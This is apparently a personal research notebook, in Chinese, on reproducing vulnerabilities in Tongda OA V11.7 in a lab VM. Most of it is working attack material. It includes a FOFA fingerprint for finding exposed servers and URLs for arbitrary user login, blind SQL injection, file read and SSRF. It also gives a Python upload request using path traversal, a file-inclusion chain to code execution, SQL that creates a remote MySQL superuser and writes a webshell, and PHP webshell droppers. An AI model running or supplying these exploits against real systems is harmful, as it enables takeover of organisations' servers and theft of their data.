环境安装
下载链接:
https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe
windows server 2008直接安装有bug
windows server 2012直接双击安装就完事了
2012装vmwaretools 不好使 最后还是用python -m http.server搭服务器下载的
修复vmwaretools:
https://blog.csdn.net/fly_hps/article/details/104300665
装好oa之后,在主机访问不到虚拟机里的oa服务,原因是iis默认的防火墙给拦截了,关闭防火墙或者增加一个入站规则
https://blog.csdn.net/weixin_33690963/article/details/93118409
默认密码为空
快速查看版本
http://192.168.0.116/inc/expired.php
难点
1,过滤危险函数
disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg
在windows下可以使用com组件绕过
但是com拓展在5.4默认加载,其他php版本没有加载
通达11.7没有加载
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
目前没有好的绕过方法
2,包含了常见的一句话木马,但是echo可以,var_dump(scandir(‘.’));都不行
只要传的参数有引号就不行,查看日志:
[11-Mar-2021 09:35:42 Etc/GMT-8] PHP Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1
[11-Mar-2021 09:35:48 Etc/GMT-8] PHP Parse error: syntax error, unexpected ''21\');' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1
但是不通过文件包含,直接给shell.php传参又可以正常执行
可以通过包含文件直接写马,写的马由于disable_function限制,能连蚁剑,多的命令执行不了
3,通达的数据库都是加密的
少部分可以解出来
4,内置的nginx配置直解析php
location ~ \.php$ {
fastcgi_pass OfficeFPM;
fastcgi_index index.php;
include fastcgi.conf;
add_header X-Frame-Options SAMEORIGIN;
}
payload
fofa : “/static/templates/2019_01/logo.png”
1,任意用户登录(要求用户在线)
通达OA V11.7版本存在这任意用户登录漏洞
访问:http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
页面若是空白的即说明该uid用户在线,可以利用,此时访问:http://127.0.0.1/general/即可登录后台
若页面返回RELOGIN 则管理员不在线
https://www.t00ls.net/viewthread.php?tid=59880&highlight=%E9%80%9A%E8%BE%BE
2,后台布尔盲注
http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99))
https://www.cnblogs.com/yuzly/p/13690737.html
3,后台时间盲注
http://192.168.0.116/general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=(SELECT count(*) FROM information_schema.columns A, information_schema.columns B where 1=1 and (LENGTH(database())=5))
https://www.t00ls.net/viewthread.php?tid=58383&highlight=%E9%80%9A%E8%BE%BE
4,将非php文件传到任意位置(需要登录)
会检测referer
import requests
burp0_url = "http://192.168.0.116:80/general/reportshop/utils/upload.php"
burp0_cookies = {"USER_NAME_COOKIE": "admin", "OA_USER_ID": "admin", "creat_work": "new", "PHPSESSID": "29n49sf6pck3jaslqf69fppaa1", "SID_1": "2b8073b6"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1:888", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryWqqWIbfwlL4YwO4Q", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.116/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh,zh-CN;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"newid\"\r\n\r\n1\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"filetype\"\r\n\r\n\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"FILE1\"; filename=\"1.txt\"\r\nContent-Type: text/plain\r\n\r\n123213\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../}_1.txt => oa/webroot/}_1.txt
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../general/}_1.txt => oa/webroot
../../../../../../../../../../../../../oa/webroot/ => 禁止创建
../../../../../../../../../../../../../oa/webroot/general/ => 禁止创建
../../../../../../../../../../../../../oa/attach/ => ok
../../../../../../../../../../../../../oa/ => ok
../../../../../../../../../../../../../oa/123/ => false
需要绕过这个限制:
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {#当有webroot 没有attachment时,false
return false;
}
else {
return true;
}
所以设置newid为:
../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/ => ok
5,任意文件包含(需要登录)
http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}
与前一个上传结合,可以实现rce
6,通过前面盲注添加mysql用户,rce(需要登录)
通达oa默认是高权限sql用户
1,默认是不能远程连接的,添加用户远程连接 at666 abcABC@123
http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
2,连接上数据库,此时权限只能访问到mysql,添加权限,在数据库软件中执行
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
3,之后刷新权限,在盲注点执行,不然权限不够
general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;
4,再连接可能会报错you must set password before executing this statement
再多执行几遍:
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
5,连接数据库,
select @@basedir;
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '<?php eval($_POST[x]);?>';
show variables like '%general%';
7,敏感信息泄露(需要登录)
http://192.168.0.116//general/approve_center/archive/getTableStruc.php
绝对路径等
8,任意文件读取(需要登录)
curl "http://192.168.0.116/ispirit/im/photo.php?AVATAR_FILE=c:/oa/bin/redis.windows.conf&UID=1" > 1.txt --cookie "PHPSESSID=neulied1e0s35tp9u1vcdbeea5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c05b8089"
9,ssrf(需要登录)
http://192.168.0.116/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=wqx0mc.dnslog.cn
复现
首先安装好之后,目录如下
2021/03/08 16:06 <DIR> .
2021/03/08 16:06 <DIR> ..
2021/03/08 15:40 <DIR> attach
2021/03/08 15:40 <DIR> bin
2021/03/08 15:40 <DIR> data5
2021/03/08 15:40 <DIR> logs
2021/03/08 15:40 <DIR> MyAdmin
2021/03/08 15:40 <DIR> mysql5
2021/03/08 15:40 <DIR> nginx
2016/09/08 17:32 3,606 readme.txt
2021/03/08 15:40 <DIR> tmp
2021/03/08 15:42 <DIR> webroot
2021/03/08 15:42 <DIR> 帮助文档
attach是oa专门用来存放上传附件的目录
网站源码在webroot,使用zend进行了加密
通达oa使用的都是自带的离线版的nginx和mysql,redis等,所以直接一键安装,别的都不用管
这样就导致没有好的办法动态调试。
直接自己把解密的php在用Zend Guard7加密替换原php文件,尝试这样debug
会报500
可能是加密的方式不对,暂时没好的办法
使用SeayDzend进行解密
在/inc/conn.php有sql注入过滤函数
1,任意用户登录
漏洞位置:mobile/auth_mobi.php
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
$cursor = exequery(TD::conn(), $sql);
if ($row = mysql_fetch_array($cursor)) {
$P = $row["SID"];
}
}
直接将传入的uid从数据库中查询,然后赋给当前用户了
2,后台布尔盲注
漏洞位置:general/hr/manage/query/delete_cascade.php
if ($condition_cascade != "") {
$query = str_replace("\'", "'", $condition_cascade);
$cursor = exequery(TD::conn(), $query);
while ($ROW = mysql_fetch_array($cursor)) {
$USER_ID = $ROW["USER_ID"];
有过滤,通过power(9999,99)构造报错注入
3,后台时间盲注
漏洞位置:general/email/inbox/get_index_data.php #109
$email_array = get_email_data($orderby, $asc, $boxid, $email_fliter, $pagelimit, $timestamp, $curnum, $is_webmailbox, $is_main, $boxname, $list_view);
echo retJson($email_array);
echo "\r\n";
orderby会拼接到sql语句中,使用笛卡尔积进行时间盲注
orderby=(SELECT count(*) FROM information_schema.columns A, information_schema.columns B where 1=1 and (LENGTH(database())=5))
4,将非php文件传到任意位置
漏洞位置:general/reportshop/utils/upload.php #170
else if (!empty($_FILES)) {
$s_n = $_FILES[$fileid]["name"];
if (!check_filename($s_n) || !check_filetype($s_n)) {
if (isset($json)) {
echo "{";
echo "new_name:'',\n";
echo "error: 'true',\n";
echo "msg: '文件不符合要求'\n";
echo "}";
}
else {
echo "文件不符合要求!";
}
exit();
}
if (($s_n[0] != "{") && isset($newid)) {
$s_n = "{" . $newid . "}_" . $s_n;
}
if (td_move_uploaded_file($_FILES[$fileid]["tmp_name"], $uploaddir . $s_n)) {
}
else {
$b_res = "false";
}
}
}
if (isset($_FILES[$fileid])) {
td_unlink($_FILES[$fileid]["tmp_name"]);
}
}
将newid不经过滤直接拼接到了上传路径中,所以我们可以通过newid参数控制上传的位置
上传文件的后缀限制了不能传输php,尝试了其他php5,php.,php::$DATA都不行,类似的限制比较多
可以先不管,后续通过文件包含来解决
构造一个上传页面:
<html>
<body>
<form action="http://192.168.0.116/general/reportshop/utils/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='action' value = 'upload' ></input>
<!-- <input type="text"name='rid' value = '{123456789123456789123456789123456789}'></input> -->
<input type="text"name='newid' value = '../../../../../' ></input>
<input type="text"name='filetype' value = '' ></input>
<input type="file" name="FILE1"></input>
<input type="submit" ></input>
</body>
</html>
抓包之后需要把referer修改掉,再添加上登录后的cookie即可上传成功
5,文件包含
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}
if ((strpos($url, "general/") === 0) || (strpos($url, "ispirit/") === 0) || (strpos($url, "module/") === 0)) {
include_once $url;
}
}
exit();
}
这里限制了url的开始必须为general or ispirit or module
所以在前面设置newid为../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/
即可把txt文件上传到general目录下,然后payload包含即可rce
http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}
前面疑问的方法暂时不知道为什么,可以直接包含txt然后写马
1.txt:
<?php
$code = hex2bin('3C3F706870206576616C28245F504F53545B2761275D293B3F3E');
file_put_contents("shell.php",$code);
?>
shell.php位于C:\oa\webroot\ispirit\interface\shell.php
参考资料
https://www.anquanke.com/post/id/210395
https://paper.seebug.org/1499/